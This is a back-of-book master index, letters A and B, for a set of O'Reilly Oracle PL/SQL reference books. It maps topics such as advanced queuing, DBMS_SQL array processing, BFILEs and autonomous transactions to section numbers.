ad-hoc query generation, Method 4 dynamic SQL used for: 2.5.4. Displaying Table Contents with Method 4 Dynamic SQL, Oracle Built-in Packages
add_text procedure
5.19.2. Managing and accessing message text, Advanced Oracle PL/SQL Programming with Packages
9.2. Storing Message Text, Advanced Oracle PL/SQL Programming with Packages
9.3.1. Substituting Oracle Messages, Advanced Oracle PL/SQL Programming with Packages
22.1.6.4. Defining error messages with PLVmsg, Advanced Oracle PL/SQL Programming with Packages
adding collection elements: 19.4.3. Adding and Removing Elements, Oracle PL/SQL Programming
addname procedure: 10.1.2.12. The DBMS_UTILITY.GET_HASH_VALUE function, Oracle Built-in Packages
admin_option parameter, GRANT_SYSTEM_PRIVILEGE procedure: 7.6.2.1. GRANT_SYSTEM_PRIVILEGE: Granting system-level privileges, Guide to Oracle8i Features
administration of Oracle databases: About the Contents, Oracle PL/SQL Programming
administration, Oracle/AQ: C.3.2. DBMS_AQADM (PL/SQL 8 Only), Oracle PL/SQL Programming
administrator accounts: (see advanced replication, administrator accounts)
administrator role (AQ): 5.2.3. Authorizing Accounts to Use Oracle AQ, Oracle Built-in Packages
advanced queuing: 1.4.7.2. Oracle/AQ, the Advanced Queueing Facility, Oracle PL/SQL Programming
advanced replication
15. Advanced Replication, Oracle Built-in Packages
account creation: 15.1. DBMS_REPCAT_AUTH: Setting Up Administrative Accounts, Oracle Built-in Packages
administrator accounts: 15.2. DBMS_REPCAT_ADMIN: Setting Up More Administrator Accounts, Oracle Built-in Packages
granting privileges: 15.2.2.1. The DBMS_REPCAT_ADMIN.GRANT_ADMIN_REPGROUP procedure, Oracle Built-in Packages
revoking privileges
15.2.2.2. The DBMS_REPCAT_ADMIN.REVOKE_ADMIN_REPGROUP procedure, Oracle Built-in Packages
15.2.2.4. The DBMS_REPCAT_ADMIN.REVOKE_ADMIN_ANY_REPGROUP procedure, Oracle Built-in Packages
propagator accounts: 15.1.3. Granting and Revoking Propagator Accounts (Oracle8), Oracle Built-in Packages
remote destinations and: 17.1.1. About Remote Destinations, Oracle Built-in Packages
user accounts: 15.1.2. Granting and Revoking Surrogate SYS Accounts, Oracle Built-in Packages
granting privileges: 15.1.2.1. The DBMS_REPCAT_AUTH.GRANT_SURROGATE_REPCAT procedure, Oracle Built-in Packages
revoking privileges: 15.1.2.2. The DBMS_REPCAT_AUTH.REVOKE_SURROGATE_REPCAT procedure, Oracle Built-in Packages
agents
(see also consumers; producers)
5.1.5. A Glossary of Terms, Oracle Built-in Packages
object type for: 5.3.4. Agents Object Type, Oracle Built-in Packages
aggregate
assignment into rows: 10.6.3. Aggregate Assignment , Oracle PL/SQL Programming
operations
9.1.3.2. Aggregate operations, Oracle PL/SQL Programming
9.5.4. Aggregate Assignment , Oracle PL/SQL Programming
9.6.1.2. Records of the same type, Oracle PL/SQL Programming
of nested records: 9.7.3. Aggregate Assignments of Nested Records, Oracle PL/SQL Programming
values, combining with scalars: 17.8.2. Combining Scalar and Aggregate Values, Oracle PL/SQL Programming
aggregation: 18.1.4.3. Inheritance
alerts
(see also DBMS_ALERT package)
3.2. DBMS_ALERT: Broadcasting Alerts to Users, Oracle Built-in Packages
locking and: 3.2.2.5. The DBMS_ALERT.SIGNAL procedure, Oracle Built-in Packages
names for: 3.2.2.1. The DBMS_ALERT.REGISTER procedure, Oracle Built-in Packages
registering: 3.2.2.1. The DBMS_ALERT.REGISTER procedure, Oracle Built-in Packages
removing: 3.2.2.2. The DBMS_ALERT.REMOVE procedure, Oracle Built-in Packages
setting defaults: 3.2.2.4. The DBMS_ALERT.SET_DEFAULTS procedure, Oracle Built-in Packages
signaling: 3.2.2.5. The DBMS_ALERT.SIGNAL procedure, Oracle Built-in Packages
transactional behavior: 3.2.2.5. The DBMS_ALERT.SIGNAL procedure, Oracle Built-in Packages
waiting for: 3.2.2.6. The DBMS_ALERT.WAITANY procedure, Oracle Built-in Packages
algorithms, tuning: 25.4. Tuning Your Algorithms, Oracle PL/SQL Programming
aliases
column
6.7. Column Aliases in Cursors, Oracle PL/SQL Programming
9.3.2. Setting the Record's Column Names, Oracle PL/SQL Programming
for cursor variables: 6.12.6.3. Cursor variable aliases, Oracle PL/SQL Programming
directory, BFILENAME function and: 13.2.1. The BFILENAME function, Oracle PL/SQL Programming
table names: 7.3.4. ADD_POLICY: Adding a Policy, Guide to Oracle8i Features
alignment of code: (see coding, layout of)
allocating cursors: (see cursors, opening; cursors, reusing)
alternate indexes, hashing and (example): 10.1.2.12. The DBMS_UTILITY.GET_HASH_VALUE function, Oracle Built-in Packages
anchored datatypes
1.6.1. Anchored declarations, Oracle PL/SQL Programming
4.5. Anchored Declarations, Oracle PL/SQL Programming
anchoring to subtypes: 4.6.3. Emulating Constrained Subtypes, Oracle PL/SQL Programming
anchored declarations
6.2.2.1. Declaring a variable, Oracle Web Applications
2.10.5. Anchoring to Public Variables, Advanced Oracle PL/SQL Programming with Packages
angle brackets (>) as label delimiters: 5.2.1. The GOTO Statement, Oracle PL/SQL Programming
anonymous blocks
1.3.1. Autonomous Transactions, Guide to Oracle8i Features
10.5. Miscellaneous and Minor Improvements, Guide to Oracle8i Features
15.3. The Anonymous PL/SQL Block, Oracle PL/SQL Programming
in Oracle Tools: 15.3.3. Anonymous Blocks in the Oracle Tools, Oracle PL/SQL Programming
labels for: 15.3.6. Block Labels, Oracle PL/SQL Programming
nested: 15.3.4. Nested Blocks , Oracle PL/SQL Programming
answer_survey procedure
8.2.4.2. Body, Oracle Web Applications
8.2.4. The EMP_SURVEY Package, Oracle Web Applications
8.2.4.2. Body, Oracle Web Applications
apinex1.sql
7.2.3.2. Example, Oracle Built-in Packages
7.2.4.2. Example, Oracle Built-in Packages
7.2.5.2. Example, Oracle Built-in Packages
apinex2.sql : 7.2.6.1. Example, Oracle Built-in Packages
apinex3.sql : 7.3.9. Tracking Long-Running Processes, Oracle Built-in Packages
append_line procedure
5.11.10. Writing to a file, Advanced Oracle PL/SQL Programming with Packages
13.6.1. Appending a Line, Advanced Oracle PL/SQL Programming with Packages
appenditem procedure: 5.18.3. Modifying list contents , Advanced Oracle PL/SQL Programming with Packages
application development
1. Introduction, Oracle Web Applications
1.2. Current Web Techniques Are Inadequate, Oracle Web Applications
WebDB: 3.1.2. Application Development, Oracle Web Applications
application integration: 1.2. Current Web Techniques Are Inadequate, Oracle Web Applications
application programming interfaces (APIs)
1.3.8.4. InternetLite server and API, Oracle Web Applications
6.3. Packages, Oracle Web Applications
applications, tuning: 25. Tuning PL/SQL Applications, Oracle PL/SQL Programming
access to compiled code: 25.2. Tuning Access to Compiled Code, Oracle PL/SQL Programming
access to data: 25.3. Tuning Access to Your Data, Oracle PL/SQL Programming
analyzing performance: 25.1. Analyzing Program Performance, Oracle PL/SQL Programming
optimizing algorithms: 25.4. Tuning Your Algorithms, Oracle PL/SQL Programming
aq package
1.3.5.1. Examples of encapsulation packages, Oracle Built-in Packages
5.3.2. Object Names, Oracle Built-in Packages
5.4.1.2. Examples, Oracle Built-in Packages
5.7.1. Improving AQ Ease of Use, Oracle Built-in Packages
aq.spp
5.3.2. Object Names, Oracle Built-in Packages
5.7.1. Improving AQ Ease of Use, Oracle Built-in Packages
aq.sql file: 6.2.1.2. Tracking logins to the database, Guide to Oracle8i Features
aqadmset.sql file: 5.2.3. Authorizing Accounts to Use Oracle AQ, Oracle Built-in Packages
aqbrowse package
5.7.4. Browsing a Queue's Contents, Oracle Built-in Packages
aqbrowse.sp
5.7.1. Improving AQ Ease of Use, Oracle Built-in Packages
5.7.4. Browsing a Queue's Contents, Oracle Built-in Packages
aqbrowse.tst : 5.7.4. Browsing a Queue's Contents, Oracle Built-in Packages
aqcorrid.spp
5.7.4.1. A template for a show_queue procedure , Oracle Built-in Packages
5.7.5. Searching by Correlation Identifier, Oracle Built-in Packages
aqcorrid.tst : 5.7.5. Searching by Correlation Identifier, Oracle Built-in Packages
aqcref.sql : 5.5.2.2. The DBMS_AQADM.START_QUEUE procedure, Oracle Built-in Packages
aqcremq.sql : 5.5.3.3. The DBMS_AQADM.QUEUE_SUBSCRIBERS procedure, Oracle Built-in Packages
aqcrepq.sql : 5.5.2.2. The DBMS_AQADM.START_QUEUE procedure, Oracle Built-in Packages
aqcreq.sql : 5.5.2.2. The DBMS_AQADM.START_QUEUE procedure, Oracle Built-in Packages
aqdemo*.sql scripts: 5.7. Oracle AQ Examples, Oracle Built-in Packages
aqdeq1.sql : 5.4.2.2. Examples, Oracle Built-in Packages
aqdeq2.sql : 5.4.2.2. Examples, Oracle Built-in Packages
aqdeq3.sql : 5.4.2.4. Dequeue order , Oracle Built-in Packages
aqdeq4.sql : 5.4.2.4. Dequeue order , Oracle Built-in Packages
aqenq1.sql : 5.4.1.2. Examples, Oracle Built-in Packages
aqenq2.sql : 5.4.1.2. Examples, Oracle Built-in Packages
aqfor.sql file: 5.2.3. Authorizing Accounts to Use Oracle AQ, Oracle Built-in Packages
aqgroup.spp : 5.7.7.2. Dequeuing messages when part of a group, Oracle Built-in Packages
aqlisten.sql file: 7.6.4.2. LISTEN: Listening for messages, Guide to Oracle8i Features
aqmult.ins : 5.7.8.1. Using the subscriber list, Oracle Built-in Packages
aqmult1.spp : 5.7.8.1. Using the subscriber list, Oracle Built-in Packages
aqmult2.ins : 5.7.8.1. Using the subscriber list, Oracle Built-in Packages
aqmult2.spp : 5.7.8.1. Using the subscriber list, Oracle Built-in Packages
aqmult2.tst : 5.7.8.1. Using the subscriber list, Oracle Built-in Packages
aqmult3.spp : 5.7.8.2. Overriding with a recipient list, Oracle Built-in Packages
aqmult3.tst : 5.7.8.2. Overriding with a recipient list, Oracle Built-in Packages
aqshomsg.sql : 5.4.1.2. Examples, Oracle Built-in Packages
aqshowq package: 5.7.4.1. A template for a show_queue procedure , Oracle Built-in Packages
aqshowq.sp : 5.7.4.1. A template for a show_queue procedure , Oracle Built-in Packages
aqstk package: 5.7.3. Building a Stack with AQ Using Sequence Deviation, Oracle Built-in Packages
aqstk.spp : 5.7.3. Building a Stack with AQ Using Sequence Deviation, Oracle Built-in Packages
aqstk2.spp : 5.7.3. Building a Stack with AQ Using Sequence Deviation, Oracle Built-in Packages
aqtiming.ins : 5.7.6. Using Time Delay and Expiration, Oracle Built-in Packages
aqtiming.spp : 5.7.6. Using Time Delay and Expiration, Oracle Built-in Packages
aqtiming.tst : 5.7.6. Using Time Delay and Expiration, Oracle Built-in Packages
arg function: 10.2.3.1. Features of the psdesc package, Oracle Built-in Packages
args procedure: 10.2.3.1. Features of the psdesc package, Oracle Built-in Packages
arguments
(see also parameters)
10.2.1.3. The DBMS_DESCRIBE.DESCRIBE_PROCEDURE procedure, Oracle Built-in Packages
RPC arguments: (see RPCs, arguments)
trapping invalid: 22.2.4.1. Trap invalid argument values, Oracle PL/SQL Programming
arrayemp.sp : 2.3.8.1. The DBMS_SQL.COLUMN_VALUE procedure, Oracle Built-in Packages
arrays
(see also tables)
1.4.3.4. PL/SQL tables , Oracle PL/SQL Programming
DBMS_SQL used for processing: 2.5.6. Array Processing with DBMS_SQL, Oracle Built-in Packages
Oracle8 and: 2.5.6.1. Using array processing to insert, Oracle Built-in Packages
binding variables
2.3.4. Binding Values into Dynamic SQL, Oracle Built-in Packages
2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure , Oracle Built-in Packages
building with tables: 10.9.4. Building Traditional Arrays with PL/SQL Tables, Oracle PL/SQL Programming
copying index tables: 2.5.6.5. Using array processing in dynamic PL/SQL , Oracle Built-in Packages
defining columns: 2.3.5.2. The DBMS_SQL.DEFINE_ARRAY procedure, Oracle Built-in Packages
deleting rows
2.5.6.2. Using array processing to delete, Oracle Built-in Packages
2.5.7.2. RETURNING from a multiple-row delete, Oracle Built-in Packages
fetching rows: 2.5.6.4. Using array processing to fetch, Oracle Built-in Packages
index-by tables and
2.2.6. DBMS_SQL Nonprogram Elements, Oracle Built-in Packages
2.5.6. Array Processing with DBMS_SQL, Oracle Built-in Packages
inserting rows: 2.5.6.1. Using array processing to insert, Oracle Built-in Packages
package for: 10.9.4.3. Features of the array package, Oracle PL/SQL Programming
performance of fetching: 2.5.6.4. Using array processing to fetch, Oracle Built-in Packages
PL/SQL: 6.2.6. Index-by Tables (Arrays), Oracle Web Applications
updating rows: 2.5.6.3. Using array processing to update, Oracle Built-in Packages
variable arrays
2.4.1. Some Restrictions, Oracle Built-in Packages
1.4.7.3. Variable arrays and nested tables, Oracle PL/SQL Programming
objects for: 18.1.2. Some Simple Examples, Oracle PL/SQL Programming
variable-size: (see VARRAYs)
arrayupd.spp : 2.5.6.3. Using array processing to update, Oracle Built-in Packages
arrayupd.tst : 2.5.6.3. Using array processing to update, Oracle Built-in Packages
as.spp : 5.3.2. Object Names, Oracle Built-in Packages
asrc procedure
5.15.4. Managing the source repository, Advanced Oracle PL/SQL Programming with Packages
12.3.4. High-Level Source Management Programs, Advanced Oracle PL/SQL Programming with Packages
assert procedure
5.3.5. Assertion routines, Advanced Oracle PL/SQL Programming with Packages
6.3. Assertion Routines, Advanced Oracle PL/SQL Programming with Packages
assert_inrange function: 6.3.3. Asserting "In Range", Advanced Oracle PL/SQL Programming with Packages
assert_inrange procedure: 5.3.5. Assertion routines, Advanced Oracle PL/SQL Programming with Packages
assert_notnull function
6.3.2. Asserting NOT NULL, Advanced Oracle PL/SQL Programming with Packages
5.3.5. Assertion routines, Advanced Oracle PL/SQL Programming with Packages
assertion modules: 22.2.4. Use Assertion Modules to Validate Parameters and Assumptions, Oracle PL/SQL Programming
assertion routines
3.7. Handling Program Assumptions, Advanced Oracle PL/SQL Programming with Packages
5.3.5. Assertion routines, Advanced Oracle PL/SQL Programming with Packages
6.3. Assertion Routines, Advanced Oracle PL/SQL Programming with Packages
assertion, OWA_PATTERN package
7.2.2.1. Regular expressions, Oracle Web Applications
7.2.2.1. Regular expressions, Oracle Web Applications
assertion_failure exception
5.3.5. Assertion routines, Advanced Oracle PL/SQL Programming with Packages
6.3. Assertion Routines, Advanced Oracle PL/SQL Programming with Packages
assign procedure
2.5.5. Indirect Referencing in PL/SQL, Oracle Built-in Packages
2.5.5.1. Assigning a value, Oracle Built-in Packages
assigning objects: 18.4.1.2. Direct assignment, Oracle PL/SQL Programming
assignment (\:=) operator
2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
4.4.3. Default Values, Oracle PL/SQL Programming
9.5. Assigning Values to and from Records, Oracle PL/SQL Programming
association operator for positional notation (=>): 2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
association, object: 18.1.4.3. Inheritance , Oracle PL/SQL Programming
asynchronous mode, replication: 1.3.8.2. EnterpriseSync Lite, Oracle Web Applications
atomics: (see parsing)
atomics of PL/SQL language: 2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
attributes, cursor
6.9. Cursor Attributes, Oracle PL/SQL Programming
6.12.2. Similarities to Static Cursors, Oracle PL/SQL Programming
attributes, object: 18.1.1. Terminology, Oracle PL/SQL Programming
collections as: 19.2.1.2. Collection as an attribute of an object type, Oracle PL/SQL Programming
dot notation for
18.3.4.1. Dots in data structures, Oracle PL/SQL Programming
18.3.4.3. Attribute or method?, Oracle PL/SQL Programming
object equality and: 18.3.6.2. Equality comparisons, Oracle PL/SQL Programming
auction package
(see also specific program names)
3.2.3.3. Auction system requirements, Oracle Built-in Packages
auction.ddl : 3.2.3.2. The auction schema, Oracle Built-in Packages
auction1.sql : 3.2.3.5. The auction package, Oracle Built-in Packages
author function
5.13.3. Setting the author, Advanced Oracle PL/SQL Programming with Packages
16.3.2. Setting the Code Author, Advanced Oracle PL/SQL Programming with Packages
author string: 5.13.3. Setting the author, Advanced Oracle PL/SQL Programming with Packages
author, code: 16.3.2. Setting the Code Author, Advanced Oracle PL/SQL Programming with Packages
authority: (see privileges)
execute/run: (see execute authority)
automatic recovery: 4.2.6.2. The DBMS_TRANSACTION.PURGE_LOST_DB_ENTRY procedure, Oracle Built-in Packages
autonomous blocks, definition: 2.4. Rules and Restrictions, Guide to Oracle8i Features
autonomous transactions
6.2. Database-Level Event Triggers, Guide to Oracle8i Features
1.1. What's in Oracle8i Release 8.1?, Guide to Oracle8i Features
1.3.1. Autonomous Transactions, Guide to Oracle8i Features
autonomous logging mechanism example: 2.5.1. Building an Autonomous Logging Mechanism, Guide to Oracle8i Features
database triggers example: 2.5.2. Using Autonomous Transactions in a Database Trigger, Guide to Oracle8i Features
definition: 2.2. Defining Autonomous Transactions, Guide to Oracle8i Features
retry counter example: 2.5.3. Building a Retry Counter , Guide to Oracle8i Features
rules and restrictions: 2.4. Rules and Restrictions, Guide to Oracle8i Features
transaction management: 2.1. Transaction Management in PL/SQL, Guide to Oracle8i Features
transaction visibility: 2.4.2. Transaction Visibility, Guide to Oracle8i Features
using within SQL: 2.4.1. Using Autonomous Transactions from Within SQL, Guide to Oracle8i Features
when to use: 2.3. When to Use Autonomous Transactions, Guide to Oracle8i Features

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: B

Index: B

BEFORE ROW triggers, replication and: 15.3.4. Replication Support with DBMS_REPCAT, Oracle Built-in Packages
BEFORE SHUTDOWN triggers: 6.2. Database-Level Event Triggers, Guide to Oracle8i Features
BEFORE context, triggers: 6.2. Database-Level Event Triggers, Guide to Oracle8i Features
BEGIN command, PL/SQL: 6.1.1. Procedures, Oracle Web Applications
BEGIN keyword: 4.6.3. Dynamic PL/SQL , Guide to Oracle8i Features
BEGIN-END block syntax
1.4.1. The Package Specification, Advanced Oracle PL/SQL Programming with Packages
1.6.2.1. Package body syntax, Advanced Oracle PL/SQL Programming with Packages
2.2. Using Effective Coding Style for Packages, Advanced Oracle PL/SQL Programming with Packages
BEGIN_DISCRETE_TRANSACTION procedure
4.2.1.1. DBMS_TRANSACTION programs, Oracle Built-in Packages
4.2.5.3. The DBMS_TRANSACTION.BEGIN_DISCRETE_TRANSACTION procedure, Oracle Built-in Packages
C.15.14. The BEGIN_DISCRETE_TRANSACTION procedure, Oracle PL/SQL Programming
BEGIN_INSTANTIATION procedure: 15.4.2.1. The DBMS_OFFLINE_OG.BEGIN_INSTANTIATION procedure, Oracle Built-in Packages
BEGIN_LOAD procedure (DBMS_OFFLINE_OG)
15.4.1. Getting Started with DBMS_OFFLINE_OG, Oracle Built-in Packages
15.4.2.2. The DBMS_OFFLINE_OG.BEGIN_LOAD procedure, Oracle Built-in Packages
BEGIN_LOAD procedure (DBMS_OFFLINE_SNAPSHOT)
14.3.1.1. DBMS_OFFLINE_SNAPSHOT programs, Oracle Built-in Packages
14.3.2.1. The DBMS_OFFLINE_SNAPSHOT.BEGIN_LOAD procedure, Oracle Built-in Packages
BEGIN_TABLE_REORGANIZATION procedure
14.1.1. Getting Started with DBMS_SNAPSHOT, Oracle Built-in Packages
14.1.5.1. The DBMS_SNAPSHOT.BEGIN_TABLE_REORGANIZATION procedure (Oracle8 only), Oracle Built-in Packages
BFILE datatype
1.4.7.6. Large object support, Oracle PL/SQL Programming
4.2.7.7. Working with BFILEs, Oracle PL/SQL Programming
example of using: 20.8. Postscript: Using the BFILE Datatype, Oracle PL/SQL Programming
BFILENAME function
4.2.7.7. Working with BFILEs, Oracle PL/SQL Programming
13.2.1. The BFILENAME function, Oracle PL/SQL Programming
BFILEs
8.2.1. LOB Datatypes, Oracle Built-in Packages
8.2.1.2. The BFILE datatype, Oracle Built-in Packages
closing: 8.3.1.5. The DBMS_LOB.FILECLOSE procedure, Oracle Built-in Packages
exception handling: 8.3.1.6. The DBMS_LOB.FILECLOSEALL procedure, Oracle Built-in Packages
directory aliases: 8.2.2.1. The DIRECTORY object, Oracle Built-in Packages
directory nonexistent exception: 8.3.1.1. The DBMS_LOB.FILEEXISTS function, Oracle Built-in Packages
existence test: 8.3.1.1. The DBMS_LOB.FILEEXISTS function, Oracle Built-in Packages
filenames, returning: 8.3.1.2. The DBMS_LOB.FILEGETNAME procedure, Oracle Built-in Packages
loading: 8.3.1.7. The DBMS_LOB.LOADFROMFILE procedure, Oracle Built-in Packages
locking and: 8.3.1.7. The DBMS_LOB.LOADFROMFILE procedure, Oracle Built-in Packages
opening: 8.3.1.3. The DBMS_LOB.FILEOPEN procedure, Oracle Built-in Packages
exception handling: 8.3.1.3. The DBMS_LOB.FILEOPEN procedure, Oracle Built-in Packages
testing if open: 8.3.1.4. The DBMS_LOB.FILEISOPEN function, Oracle Built-in Packages
populating: 8.2.2.2. Populating a BFILE locator, Oracle Built-in Packages
BINARY_INTEGER datatype
4.2.1.1. Binary integer datatypes, Oracle PL/SQL Programming
25.4.5. Use PLS_INTEGER for All Integer Operations, Oracle PL/SQL Programming
for table declaration: 10.4.1. Defining the Table TYPE, Oracle PL/SQL Programming
BIND_ARRAY procedure
2.2.3. DBMS_SQL Programs, Oracle Built-in Packages
2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure , Oracle Built-in Packages
index-by tables used by: 2.2.6. DBMS_SQL Nonprogram Elements, Oracle Built-in Packages
BIND_ARRAY program: 25.3.4. Take Advantage of DBMS_SQL Batch Processing, Oracle PL/SQL Programming
BIND_VARIABLE procedure
2.2.3. DBMS_SQL Programs, Oracle Built-in Packages
2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure , Oracle Built-in Packages
C.14.2. The BIND_VARIABLE procedure , Oracle PL/SQL Programming
Method 4 dynamic SQL and: 2.5.4. Displaying Table Contents with Method 4 Dynamic SQL, Oracle Built-in Packages
BIND_VARIABLES procedure: 7.4.1.5. Creating complex HTML structures, Oracle Web Applications
BIND_VARIABLE_CHAR procedure: 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure , Oracle Built-in Packages
BIND_VARIABLE_RAW procedure: 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure , Oracle Built-in Packages
BIND_VARIABLE_ROWID procedure: 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure , Oracle Built-in Packages
BIT_AND function: 9.2.3.1. The UTL_RAW.BIT_AND function, Oracle Built-in Packages
BIT_COMPLEMENT function: 9.2.3.2. The UTL_RAW.BIT_COMPLEMENT function, Oracle Built-in Packages
BIT_OR function: 9.2.3.3. The UTL_RAW.BIT_OR function, Oracle Built-in Packages
BIT_XOR function: 9.2.3.4. The UTL_RAW.BIT_XOR function, Oracle Built-in Packages
BLOB (binary large object)
7.5.2. DBMS_LOB: Working with Temporary LOBs, Guide to Oracle8i Features
8.2.1. LOB Datatypes, Oracle Built-in Packages
BLOB datatype
1.4.7.6. Large object support, Oracle PL/SQL Programming
4.2.7.2. The BLOB datatype, Oracle PL/SQL Programming
EMPTY_BLOB function: 13.2.2. The EMPTY_BLOB function, Oracle PL/SQL Programming
BLOB_ARG procedure: 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure, Oracle Built-in Packages
BROKEN procedure
13.1.1. DBMS_JOB Programs, Oracle Built-in Packages
13.2.7.2. The DBMS_JOB.BROKEN procedure, Oracle Built-in Packages
C.5.1. The BROKEN procedure, Oracle PL/SQL Programming
BULK COLLECT clause
1.3.4. Bulk Binds and Collects (Chapter 5, Bulking Up with PL/SQL 8.1), Guide to Oracle8i Features
5. Bulking Up with PL/SQL 8.1, Guide to Oracle8i Features
5.3. Bulk Querying with the BULK COLLECT Clause, Guide to Oracle8i Features
5.5. Analyzing the Impact of Bulk Operations, Guide to Oracle8i Features
BYO packages: 1.5.3. Build-Your-Own Packages, Advanced Oracle PL/SQL Programming with Packages
Best Practices: 16.1. Options for Best Practices, Advanced Oracle PL/SQL Programming with Packages
Booch diagram: 16.2.4. Public and Private Package Elements, Oracle PL/SQL Programming
Boolean
as parameters: 22.7.2. Use Self-Identifying Parameters (Avoid Boolean Values), Oracle PL/SQL Programming
converting to strings: 6.4.1. Converting Boolean to String, Advanced Oracle PL/SQL Programming with Packages
datatype: 4.2.4. The Boolean Datatype, Oracle PL/SQL Programming
function: 16.2.3.2. Generated function examples, Advanced Oracle PL/SQL Programming with Packages
functions returning: 15.5.4.1. Functions without parameters, Oracle PL/SQL Programming
get-and-set procedure: 16.2.4.1. Generating a Boolean get-and-set, Advanced Oracle PL/SQL Programming with Packages
literals: 2.3.3. Boolean Literals, Oracle PL/SQL Programming
variables in IF statements: (see IF statements)
back references (backrefs), OWA_PATTERN package: 7.2.2.1. Regular expressions, Oracle Web Applications
backups: 24.2.6. Document and Back Up Your Efforts, Oracle PL/SQL Programming
backward compatibility
3.3. Supplying Backward Compatibility, Advanced Oracle PL/SQL Programming with Packages
3.11. Don't Forget Backward Compatibility, Advanced Oracle PL/SQL Programming with Packages
bailing_out function
5.10.7. Bailing out program execution, Advanced Oracle PL/SQL Programming with Packages
22.1.10.2. Starting and stopping the bailout, Advanced Oracle PL/SQL Programming with Packages
bailout errors: 22.1.10. Bailing Out with PLVexc, Advanced Oracle PL/SQL Programming with Packages
bailout procedure
5.10.7. Bailing out program execution, Advanced Oracle PL/SQL Programming with Packages
22.1.10.2. Starting and stopping the bailout, Advanced Oracle PL/SQL Programming with Packages
bailout_error function: 22.1.10.1. Managing the bailout error list, Advanced Oracle PL/SQL Programming with Packages
bailout_on procedure: 22.1.10.1. Managing the bailout error list, Advanced Oracle PL/SQL Programming with Packages
banners between package elements: 2.2. Using Effective Coding Style for Packages, Advanced Oracle PL/SQL Programming with Packages
base_timing function: 5.27.6. Calibration and timing scripts, Advanced Oracle PL/SQL Programming with Packages
batch processing
25.3.4. Take Advantage of DBMS_SQL Batch Processing, Oracle PL/SQL Programming
encrypting code and: 23.7.2. Working with Encrypted Code, Oracle PL/SQL Programming
step registration: 7.3.5. Using the register_app Package, Oracle Built-in Packages
best practices
4.1.1. The Benefits of PL/Vision, Advanced Oracle PL/SQL Programming with Packages
16.4.1. PLVgen Coding Guidelines, Advanced Oracle PL/SQL Programming with Packages
binary character objects
8.2.1. LOB Datatypes, Oracle Built-in Packages
8.2.1.5. The NCLOB datatype, Oracle Built-in Packages
binary data: (see RAW datatype)
binary large files: (see BFILEs)
binary large object (BLOB): 7.5.2. DBMS_LOB: Working with Temporary LOBs, Guide to Oracle8i Features
binary large objects: 8.2.1. LOB Datatypes, Oracle Built-in Packages
bind variables
19.5. DML Operations, Advanced Oracle PL/SQL Programming with Packages
19.5.10.2. Avoiding schema confusion for DDL, Advanced Oracle PL/SQL Programming with Packages
bind_argument expression, EXECUTE IMMEDIATE statement: 4.2.1. The EXECUTE IMMEDIATE Statement, Guide to Oracle8i Features
binding
argument modes: 4.4.3. Argument Modes , Guide to Oracle8i Features
concatenation, compared to: 4.4.1. Binding Versus Concatenation, Guide to Oracle8i Features
host variables: (see host variables, binding)
limitations: 4.4.2. Limitations on Binding, Guide to Oracle8i Features
objects to cursors: 11.5. Binding Objects to a Dynamic Cursor, Advanced Oracle PL/SQL Programming with Packages
bindobj procedure
5.20.8. Miscellaneous PLVobj programs, Advanced Oracle PL/SQL Programming with Packages
11.5. Binding Objects to a Dynamic Cursor, Advanced Oracle PL/SQL Programming with Packages
bit strings, operations on: 9.2.3.1. The UTL_RAW.BIT_AND function, Oracle Built-in Packages
bit-fiddling: 9.2.2.3. Bit-fiddling, Oracle Built-in Packages
bitmasks: 9.2.2.3. Bit-fiddling, Oracle Built-in Packages
blank lines (see whitespace)
blended access: 10.9.5.6. Performance impact of blended access, Oracle PL/SQL Programming
block comments: 2.5.2. Multiline Comment Syntax, Oracle PL/SQL Programming
block numbers: (see data block addresses)
blocks
(see also modules)
2.7. Block Structure, Oracle PL/SQL Programming
15. Procedures and Functions, Oracle PL/SQL Programming
6.1. Structured Programming in PL/SQL , Oracle Web Applications
anonymous: 15.3. The Anonymous PL/SQL Block, Oracle PL/SQL Programming
constructing: 15.2.1. Sequence of Section Construction, Oracle PL/SQL Programming
cursors in: 15.3.5.4. Cursor scope, Oracle PL/SQL Programming
labels for: 15.3.6. Block Labels, Oracle PL/SQL Programming
local: 15.7. Local Modules, Oracle PL/SQL Programming
nested
15.3.4. Nested Blocks , Oracle PL/SQL Programming
15.3.5.2. Scope and nested blocks, Oracle PL/SQL Programming
parameters of: 15.6. Parameters, Oracle PL/SQL Programming
body size limits: 10.5.1. Dramatically Higher Limits on Body Size, Guide to Oracle8i Features
body, HTML tag: 5.2.1. Structural Tags, Oracle Web Applications
body, PL/SQL: 6.1. Structured Programming in PL/SQL , Oracle Web Applications
body, package: (see packages)
book_file function: 8.1.4. About the Examples, Oracle Built-in Packages
book_text function: 8.1.4. About the Examples, Oracle Built-in Packages
book_text_forupdate function: 8.1.4. About the Examples, Oracle Built-in Packages
boolstg function
6.6. The Predefined Constants, Advanced Oracle PL/SQL Programming with Packages
5.3.6. Miscellaneous programs, Advanced Oracle PL/SQL Programming with Packages
6.4.1. Converting Boolean to String, Advanced Oracle PL/SQL Programming with Packages
bottom-up design, PL/SQL: 6.1. Structured Programming in PL/SQL , Oracle Web Applications
boundary checking: 3.8.1. When the num_in Argument Is 0, Advanced Oracle PL/SQL Programming with Packages
brackets ([ ]): 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure , Oracle Built-in Packages
branching with exceptions: 1.7.5. Structured Code and Other Best Practices, Oracle PL/SQL Programming
break_all_jobs procedure
1.3.5.1. Examples of encapsulation packages, Oracle Built-in Packages
13.3.3. DBMS_IJOB: Managing Other Users' Jobs , Oracle Built-in Packages
broadcasting: 5.1.4. Propagation Features, Oracle Built-in Packages
alerts: 3.2. DBMS_ALERT: Broadcasting Alerts to Users, Oracle Built-in Packages
example: 5.7.8. Working with Multiple Consumers, Oracle Built-in Packages
illustration: 5.1.5. A Glossary of Terms, Oracle Built-in Packages
broken links: 1.2.1.2. Keeping sites up to date, Oracle Web Applications
